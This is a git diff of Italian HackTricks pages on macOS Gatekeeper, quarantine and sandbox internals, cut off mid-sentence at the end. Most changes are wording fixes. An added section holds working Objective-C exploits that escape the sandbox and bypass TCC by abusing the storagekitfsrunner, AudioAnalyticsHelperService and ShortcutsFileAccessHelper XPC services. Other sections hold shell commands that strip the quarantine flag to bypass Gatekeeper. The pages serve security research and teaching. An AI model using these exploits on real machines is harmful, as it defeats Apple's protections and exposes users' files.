**`SecAssessment*`** di **`Security.framework`** e **`xpctl`** comunica effettivamente con **`syspolicyd`** tramite XPC. Nota come la prima regola sia terminata in "**App Store**" e la seconda in "**Developer ID**" e che nell'immagine precedente era **abilitato ad eseguire app dall'App Store e sviluppatori identificati**.\ -Se **modifichi** quella impostazione in App Store, le "**regole Notarized Developer ID" scompariranno**. +Se **modifichi** quella impostazione su App Store, le "**regole del Developer ID Notarizzato" scompariranno**. Ci sono anche migliaia di regole di **tipo GKE** : ```bash @@ -147,7 +143,7 @@ spctl --assess -v /Applications/App.app ``` Riguardo alle **estensioni del kernel**, la cartella `/var/db/SystemPolicyConfiguration` contiene file con elenchi di kext autorizzati a essere caricati. Inoltre, `spctl` ha il diritto `com.apple.private.iokit.nvram-csr` perché è in grado di aggiungere nuove estensioni del kernel pre-approvate che devono essere salvate anche in NVRAM in una chiave `kext-allowed-teams`. -### File di Quarantena +### File in Quarantena Al **download** di un'applicazione o file, specifiche **applicazioni** macOS come browser web o client di posta elettronica **allegano un attributo di file esteso**, comunemente noto come il "**flag di quarantena**," al file scaricato. Questo attributo funge da misura di sicurezza per **contrassegnare il file** come proveniente da una fonte non attendibile (internet) e potenzialmente portatore di rischi. Tuttavia, non tutte le applicazioni allegano questo attributo; ad esempio, i comuni software client BitTorrent di solito bypassano questo processo. @@ -162,7 +158,7 @@ Nel caso in cui il **flag di quarantena non sia presente** (come con i file scar > [!WARNING] > Questo attributo deve essere **impostato dall'applicazione che crea/scarica** il file. > -> Tuttavia, i file che sono sandboxed avranno questo attributo impostato su ogni file che creano. E le app non sandboxed possono impostarlo da sole, o specificare la chiave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) nel **Info.plist** che farà sì che il sistema imposti l'attributo esteso `com.apple.quarantine` sui file creati, +> Tuttavia, i file che sono in sandbox avranno questo attributo impostato su ogni file che creano. E le app non in sandbox possono impostarlo da sole, o specificare la chiave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) nel **Info.plist** che farà sì che il sistema imposti l'attributo esteso `com.apple.quarantine` sui file creati, Inoltre, tutti i file creati da un processo che chiama **`qtn_proc_apply_to_self`** sono messi in quarantena. Oppure l'API **`qtn_file_apply_to_path`** aggiunge l'attributo di quarantena a un percorso di file specificato. @@ -309,7 +305,7 @@ XProtect si trova in una posizione protetta da SIP in **/Library/Apple/System/Li - **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Consente al codice con quei cdhash di utilizzare diritti legacy. - **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Elenco di plugin ed estensioni che non sono autorizzati a caricarsi tramite BundleID e TeamID o che indicano una versione minima. - **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Regole Yara per rilevare malware. -- **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash delle applicazioni bloccate e TeamIDs. +- **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash di applicazioni bloccate e TeamIDs. Nota che c'è un'altra App in **`/Library/Apple/System/Library/CoreServices/XProtect.app`** relativa a XProtect che non è coinvolta nel processo di Gatekeeper. @@ -369,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` Inoltre, il formato di file **AppleDouble** copia un file includendo i suoi ACE. -Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con il formato di file **AppleDouble** con un ACL che impedisce ad altri xattrs di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione: +Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con il formato di file **AppleDouble** con un ACL che impedisce ad altri xattr di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -387,7 +383,7 @@ aa archive -d app -o test.aar ``` ### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/) -È stato scoperto che **Google Chrome non impostava l'attributo di quarantena** ai file scaricati a causa di alcuni problemi interni di macOS. +È stato scoperto che **Google Chrome non impostava l'attributo di quarantena** sui file scaricati a causa di alcuni problemi interni di macOS. ### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/) @@ -401,8 +397,8 @@ aa archive -d test/ -o test.aar # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute ``` -Essere in grado di creare un file che non avrà l'attributo di quarantena ha reso **possibile bypassare Gatekeeper.** Il trucco consisteva nel **creare un'applicazione file DMG** utilizzando la convenzione di denominazione AppleDouble (iniziarla con `._`) e creare un **file visibile come un link simbolico a questo file nascosto** senza l'attributo di quarantena.\ -Quando il **file dmg viene eseguito**, poiché non ha un attributo di quarantena, **bypassa Gatekeeper.** +Essere in grado di creare un file che non avrà l'attributo di quarantena ha reso **possibile bypassare Gatekeeper.** Il trucco consiste nel **creare un'applicazione file DMG** utilizzando la convenzione di denominazione AppleDouble (iniziarla con `._`) e creare un **file visibile come un link simbolico a questo file nascosto** senza l'attributo di quarantena.\ +Quando il **file dmg viene eseguito**, poiché non ha un attributo di quarantena, **bypasserà Gatekeeper.** ```bash # Create an app bundle with the backdoor an call it app.app @@ -431,8 +427,5 @@ aa archive -d s/ -o app.aar In un pacchetto ".app" se l'xattr di quarantena non è aggiunto, quando viene eseguito **Gatekeeper non verrà attivato**. -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 22543cca5..30390b9b2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -135,15 +135,17 @@ Qui puoi trovare un esempio: > > Nota che nella versione compilata di un profilo, il nome delle operazioni è sostituito dalle loro voci in un array conosciuto dalla dylib e dal kext, rendendo la versione compilata più corta e più difficile da leggere. -Importanti **servizi di sistema** vengono eseguiti all'interno del proprio **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di: +Importanti **servizi di sistema** vengono eseguiti all'interno del loro **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di: - **`/usr/share/sandbox`** - **`/System/Library/Sandbox/Profiles`** - Altri profili sandbox possono essere controllati in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti, come **`com.apple.security.network.server`**, consentono a un processo di utilizzare la rete. +Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti come **`com.apple.security.network.server`** consentono a un processo di utilizzare la rete. -SIP è un profilo Sandbox chiamato platform_profile in /System/Library/Sandbox/rootless.conf +Poi, alcuni **servizi daemon di Apple** utilizzano profili diversi situati in `/System/Library/Sandbox/Profiles/*.sb` o `/usr/share/sandbox/*.sb`. Questi sandbox vengono applicati nella funzione principale che chiama l'API `sandbox_init_XXX`. + +**SIP** è un profilo Sandbox chiamato platform_profile in `/System/Library/Sandbox/rootless.conf`. ### Esempi di Profili Sandbox @@ -207,7 +209,7 @@ Esempi di bypass: ### Tracciamento del Sandbox -#### Tramite profilo +#### Via profilo È possibile tracciare tutti i controlli che il sandbox esegue ogni volta che un'azione viene verificata. Per farlo, crea semplicemente il seguente profilo: ```scheme:trace.sb @@ -218,14 +220,14 @@ E poi esegui semplicemente qualcosa utilizzando quel profilo: ```bash sandbox-exec -f /tmp/trace.sb /bin/ls ``` -In `/tmp/trace.out` potrai vedere ogni controllo sandbox eseguito ogni volta che è stato chiamato (quindi, molti duplicati). +In `/tmp/trace.out` potrai vedere ogni controllo della sandbox eseguito ogni volta che è stato chiamato (quindi, molti duplicati). -È anche possibile tracciare la sandbox utilizzando il **`-t`** parametro: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` +È anche possibile tracciare la sandbox utilizzando il parametro **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` #### Via API -La funzione `sandbox_set_trace_path` esportata da `libsystem_sandbox.dylib` consente di specificare un nome file di traccia dove verranno scritti i controlli sandbox.\ -È anche possibile fare qualcosa di simile chiamando `sandbox_vtrace_enable()` e poi ottenendo i log di errore dal buffer chiamando `sandbox_vtrace_report()`. +La funzione `sandbox_set_trace_path` esportata da `libsystem_sandbox.dylib` consente di specificare un nome file di traccia in cui verranno scritti i controlli della sandbox.\ +È anche possibile fare qualcosa di simile chiamando `sandbox_vtrace_enable()` e poi ottenendo i log degli errori dal buffer chiamando `sandbox_vtrace_report()`. ### Ispezione della Sandbox @@ -233,11 +235,11 @@ La funzione `sandbox_set_trace_path` esportata da `libsystem_sandbox.dylib` cons ### Profili Sandbox di MacOS e iOS -MacOS memorizza i profili sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**. +MacOS memorizza i profili della sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**. -E se un'applicazione di terze parti porta il _**com.apple.security.app-sandbox**_ diritto, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo. +E se un'applicazione di terze parti porta il diritto _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo. -In iOS, il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario Allow/Deny per ciascuna autorizzazione della sandbox. +In iOS, il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario di Permesso/Nego per ciascuna autorizzazione della sandbox. ### SBPL personalizzato nelle app dell'App Store @@ -313,7 +315,7 @@ Nota che per chiamare la funzione di sospensione vengono controllati alcuni diri ## mac_syscall -Questa chiamata di sistema (#381) si aspetta un primo argomento stringa che indicherà il modulo da eseguire, e poi un codice nel secondo argomento che indicherà la funzione da eseguire. Poi il terzo argomento dipenderà dalla funzione eseguita. +Questa chiamata di sistema (#381) si aspetta un primo argomento stringa che indicherà il modulo da eseguire, e poi un codice nel secondo argomento che indicherà la funzione da eseguire. Poi, il terzo argomento dipenderà dalla funzione eseguita. La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel primo argomento `"Sandbox"` proprio come `___sandbox_msp` è un wrapper di `mac_set_proc` (#387). Poi, alcuni dei codici supportati da `___sandbox_ms` possono essere trovati in questa tabella: @@ -330,8 +332,8 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p - **suspend (#10)**: Sospende temporaneamente tutti i controlli del sandbox (richiede diritti appropriati). - **unsuspend (#11)**: Riprende tutti i controlli del sandbox precedentemente sospesi. - **passthrough_access (#12)**: Consente l'accesso diretto a una risorsa, bypassando i controlli del sandbox. -- **set_container_path (#13)**: (solo iOS) Imposta un percorso di contenitore per un gruppo di app o ID di firma. -- **container_map (#14)**: (solo iOS) Recupera un percorso di contenitore da `containermanagerd`. +- **set_container_path (#13)**: (solo iOS) Imposta un percorso del contenitore per un gruppo di app o ID di firma. +- **container_map (#14)**: (solo iOS) Recupera un percorso del contenitore da `containermanagerd`. - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Imposta i metadati in modalità utente nel sandbox. - **inspect (#16)**: Fornisce informazioni di debug su un processo sandboxed. - **dump (#18)**: (macOS 11) Dump del profilo attuale di un sandbox per analisi. @@ -339,7 +341,7 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p - **builtin_profile_deactivate (#20)**: (macOS < 11) Disattiva profili nominati (es. `pe_i_can_has_debugger`). - **check_bulk (#21)**: Esegue più operazioni `sandbox_check` in una singola chiamata. - **reference_retain_by_audit_token (#28)**: Crea un riferimento per un token di audit da utilizzare nei controlli del sandbox. -- **reference_release (#29)**: Rilascia un riferimento di token di audit precedentemente mantenuto. +- **reference_release (#29)**: Rilascia un riferimento a un token di audit precedentemente mantenuto. - **rootless_allows_task_for_pid (#30)**: Verifica se `task_for_pid` è consentito (simile ai controlli `csr`). - **rootless_whitelist_push (#31)**: (macOS) Applica un file manifesto di Protezione Integrità di Sistema (SIP). - **rootless_whitelist_check (preflight) (#32)**: Controlla il file manifesto SIP prima dell'esecuzione. @@ -350,15 +352,15 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p Nota che in iOS l'estensione del kernel contiene **tutti i profili hardcoded** all'interno del segmento `__TEXT.__const` per evitare che vengano modificati. Le seguenti sono alcune funzioni interessanti dall'estensione del kernel: -- **`hook_policy_init`**: Collega `mpo_policy_init` ed è chiamato dopo `mac_policy_register`. Esegue la maggior parte delle inizializzazioni del Sandbox. Inizializza anche SIP. +- **`hook_policy_init`**: Collega `mpo_policy_init` e viene chiamato dopo `mac_policy_register`. Esegue la maggior parte delle inizializzazioni del Sandbox. Inizializza anche SIP. - **`hook_policy_initbsd`**: Imposta l'interfaccia sysctl registrando `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` e `security.mac.sandbox.debug_mode` (se avviato con `PE_i_can_has_debugger`). -- **`hook_policy_syscall`**: È chiamato da `mac_syscall` con "Sandbox" come primo argomento e codice che indica l'operazione nel secondo. Viene utilizzato uno switch per trovare il codice da eseguire in base al codice richiesto. +- **`hook_policy_syscall`**: Viene chiamato da `mac_syscall` con "Sandbox" come primo argomento e codice che indica l'operazione nel secondo. Viene utilizzato uno switch per trovare il codice da eseguire in base al codice richiesto. ### MACF Hooks **`Sandbox.kext`** utilizza più di un centinaio di hook tramite MACF. La maggior parte degli hook controllerà solo alcuni casi banali che consentono di eseguire l'azione, altrimenti chiameranno **`cred_sb_evalutate`** con le **credenziali** da MACF e un numero corrispondente all'**operazione** da eseguire e un **buffer** per l'output. -Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha collegato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, se sì, consentirà l'esecuzione, e infine chiamerà **`sb_evaluate_internal`** (o uno dei suoi wrapper) per eseguire ulteriori controlli di autorizzazione. +Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha agganciato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, se sì, consentirà l'esecuzione, e infine chiamerà **`sb_evaluate_internal`** (o uno dei suoi wrapper) per eseguire ulteriori controlli di autorizzazione. Inoltre, tra i centinaia di hook utilizzati da Sandbox, ce ne sono 3 in particolare che sono molto interessanti: @@ -366,7 +368,7 @@ Inoltre, tra i centinaia di hook utilizzati da Sandbox, ce ne sono 3 in particol - `mpo_vnode_check_exec`: Chiamato quando un processo carica il binario associato, quindi viene eseguito un controllo del profilo e anche un controllo che vieta le esecuzioni SUID/SGID. - `mpo_cred_label_update_execve`: Questo viene chiamato quando l'etichetta viene assegnata. Questo è il più lungo poiché viene chiamato quando il binario è completamente caricato ma non è ancora stato eseguito. Eseguirà azioni come la creazione dell'oggetto sandbox, l'attacco della struttura sandbox alle credenziali kauth, la rimozione dell'accesso alle porte mach... -Nota che **`_cred_sb_evalutate`** è un wrapper su **`sb_evaluate_internal`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è per impostazione predefinita applicato a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei componenti principali di **SIP** in macOS. +Nota che **`_cred_sb_evalutate`** è un wrapper su **`sb_evaluate_internal`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è per impostazione predefinita applicato a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei principali componenti di **SIP** in macOS. ## Sandboxd diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index f5e6f03fb..ff96453cd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -10,21 +10,21 @@ Nell'immagine precedente è possibile osservare **come il sandbox verrà caricat Il compilatore collegherà `/usr/lib/libSystem.B.dylib` al binario. -Poi, **`libSystem.B`** chiamerà altre diverse funzioni fino a quando **`xpc_pipe_routine`** invia i diritti dell'app a **`securityd`**. Securityd controlla se il processo deve essere messo in quarantena all'interno del Sandbox, e se sì, verrà messo in quarantena.\ +Poi, **`libSystem.B`** chiamerà altre diverse funzioni fino a quando **`xpc_pipe_routine`** invia i diritti dell'app a **`securityd`**. Securityd verifica se il processo deve essere messo in quarantena all'interno del Sandbox, e se sì, verrà messo in quarantena.\ Infine, il sandbox verrà attivato con una chiamata a **`__sandbox_ms`** che chiamerà **`__mac_syscall`**. ## Possibili Bypass ### Bypass dell'attributo di quarantena -**I file creati da processi sandboxed** vengono aggiunti con l'**attributo di quarantena** per prevenire la fuga dal sandbox. Tuttavia, se riesci a **creare una cartella `.app` senza l'attributo di quarantena** all'interno di un'applicazione sandboxed, potresti far puntare il binario del bundle dell'app a **`/bin/bash`** e aggiungere alcune variabili d'ambiente nel **plist** per abusare di **`open`** per **lanciare la nuova app non sandboxed**. +**I file creati da processi sandboxed** vengono aggiunti con l'**attributo di quarantena** per prevenire la fuga dal sandbox. Tuttavia, se riesci a **creare una cartella `.app` senza l'attributo di quarantena** all'interno di un'applicazione sandboxed, potresti far puntare il binario del pacchetto dell'app a **`/bin/bash`** e aggiungere alcune variabili d'ambiente nel **plist** per abusare di **`open`** per **lanciare la nuova app non sandboxed**. Questo è ciò che è stato fatto in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** > [!CAUTION] -> Pertanto, al momento, se sei in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi sfuggire al sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**). +> Pertanto, al momento, se sei solo in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi sfuggire al sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**). > -> Nota che se un bundle .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a eseguire attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei bundle **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox elevato). +> Nota che se un pacchetto .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a essere eseguito attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei pacchetti **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox alto). ### Abuso della funzionalità Open @@ -37,7 +37,7 @@ macos-office-sandbox-bypasses.md ### Launch Agents/Daemons Anche se un'applicazione è **destinata a essere sandboxed** (`com.apple.security.app-sandbox`), è possibile bypassare il sandbox se viene **eseguita da un LaunchAgent** (`~/Library/LaunchAgents`), per esempio.\ -Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se vuoi ottenere persistenza con un'applicazione che è sandboxed, potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib. +Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se vuoi ottenere persistenza con un'applicazione che è sandboxed potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib. ### Abuso delle posizioni di avvio automatico @@ -59,12 +59,156 @@ Se da quel processo sandbox sei in grado di **compromettere altri processi** in ../../../macos-proces-abuse/ {{#endref}} -### Compilazione statica e collegamento dinamico +### Servizi Mach di sistema e utente disponibili -[**Questa ricerca**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ha scoperto 2 modi per bypassare il Sandbox. Poiché il sandbox è applicato dal userland quando la libreria **libSystem** viene caricata. Se un binario potesse evitare di caricarlo, non verrebbe mai sandboxed: +Il sandbox consente anche di comunicare con determinati **servizi Mach** tramite XPC definiti nel profilo `application.sb`. Se riesci ad **abusare** di uno di questi servizi potresti essere in grado di **sfuggire al sandbox**. + +Come indicato in [questo writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), le informazioni sui servizi Mach sono memorizzate in `/System/Library/xpc/launchd.plist`. È possibile trovare tutti i servizi Mach di sistema e utente cercando all'interno di quel file per `System` e `User`. + +Inoltre, è possibile verificare se un servizio Mach è disponibile per un'applicazione sandboxed chiamando `bootstrap_look_up`: +```objectivec +void checkService(const char *serviceName) { +mach_port_t service_port = MACH_PORT_NULL; +kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port); +if (!err) { +NSLog(@"available service:%s", serviceName); +mach_port_deallocate(mach_task_self_, service_port); +} +} + +void print_available_xpc(void) { +NSDictionary* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"]; +NSDictionary* launchDaemons = dict[@"LaunchDaemons"]; +for (NSString* key in launchDaemons) { +NSDictionary* job = launchDaemons[key]; +NSDictionary* machServices = job[@"MachServices"]; +for (NSString* serviceName in machServices) { +checkService(serviceName.UTF8String); +} +} +} +``` +### Servizi Mach PID disponibili + +Questi servizi Mach sono stati inizialmente abusati per [uscire dal sandbox in questo articolo](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). A quel tempo, **tutti i servizi XPC richiesti** da un'applicazione e dal suo framework erano visibili nel dominio PID dell'app (questi sono servizi Mach con `ServiceType` come `Application`). + +Per **contattare un servizio XPC del dominio PID**, è sufficiente registrarlo all'interno dell'app con una riga come: +```objectivec +[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; +``` +Inoltre, è possibile trovare tutti i servizi Mach delle **Applicazioni** cercando all'interno di `System/Library/xpc/launchd.plist` per `Application`. + +Un altro modo per trovare servizi xpc validi è controllare quelli in: +```bash +find /System/Library/Frameworks -name "*.xpc" +find /System/Library/PrivateFrameworks -name "*.xpc" +``` +Diversi esempi che abusano di questa tecnica possono essere trovati nel [**writeup originale**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), tuttavia, i seguenti sono alcuni esempi riassunti. + +#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc + +Questo servizio consente ogni connessione XPC restituendo sempre `YES` e il metodo `runTask:arguments:withReply:` esegue un comando arbitrario con parametri arbitrari. + +Lo sfruttamento era "così semplice come": +```objectivec +@protocol SKRemoteTaskRunnerProtocol +-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply; +@end + +void exploit_storagekitfsrunner(void) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)]; +[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}]; +[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}]; +[conn resume]; + +[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) { +NSLog(@"run task result:%@, error:%@", bSucc, error); +}]; +} +``` +#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc + +Questo servizio XPC consentiva a ogni client di restituire sempre YES e il metodo `createZipAtPath:hourThreshold:withReply:` consentiva fondamentalmente di indicare il percorso di una cartella da comprimere e la comprimeva in un file ZIP. + +Pertanto, è possibile generare una falsa struttura di cartelle dell'app, comprimerla, quindi decomprimerla ed eseguirla per sfuggire al sandbox poiché i nuovi file non avranno l'attributo di quarantena. + +Lo sfruttamento era: +```objectivec +@protocol AudioAnalyticsHelperServiceProtocol +-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +@end +void exploit_AudioAnalyticsHelperService(void) { +NSString *currentPath = NSTemporaryDirectory(); +chdir([currentPath UTF8String]); +NSLog(@"======== preparing payload at the current path:%@", currentPath); +system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json"); +[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0]; +system("chmod +x compressed/poc.app/Contents/MacOS/poc"); + +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)]; +[conn resume]; + +[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){ +NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath]; +NSString *file; +while ((file = [dirEnum nextObject])) { +if ([[file pathExtension] isEqualToString: @"zip"]) { +// open the zip +NSString *cmd = [@"open " stringByAppendingString:file]; +system([cmd UTF8String]); + +sleep(3); // wait for decompression and then open the payload (poc.app) +NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]]; +system([cmd2 UTF8String]); +break; +} +} +}]; +} +``` +#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc + +Questo servizio XPC consente di fornire accesso in lettura e scrittura a un URL arbitrario al client XPC tramite il metodo `extendAccessToURL:completion:`, che accetta qualsiasi connessione. Poiché il servizio XPC ha FDA, è possibile abusare di queste autorizzazioni per bypassare completamente TCC. + +Lo sfruttamento era: +```objectivec +@protocol WFFileAccessHelperProtocol +- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2; +@end +typedef int (*PFN)(const char *); +void expoit_ShortcutsFileAccessHelper(NSString *target) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)]; +[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1]; +[conn resume]; + +[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) { +NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding]; +NSURL *targetURL = [fpWrapper url]; + +void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2); +PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume"); +if (sandbox_extension_consume([sbxToken UTF8String]) == -1) +NSLog(@"Fail to consume the sandbox token:%@", sbxToken); +else { +NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken); +NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); +} +}]; +} +``` +### Compilazione Statica & Collegamento Dinamico + +[**Questa ricerca**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ha scoperto 2 modi per bypassare il Sandbox. Poiché il sandbox viene applicato dal userland quando la libreria **libSystem** viene caricata. Se un binario potesse evitare di caricarla, non verrebbe mai sandboxato: - Se il binario fosse 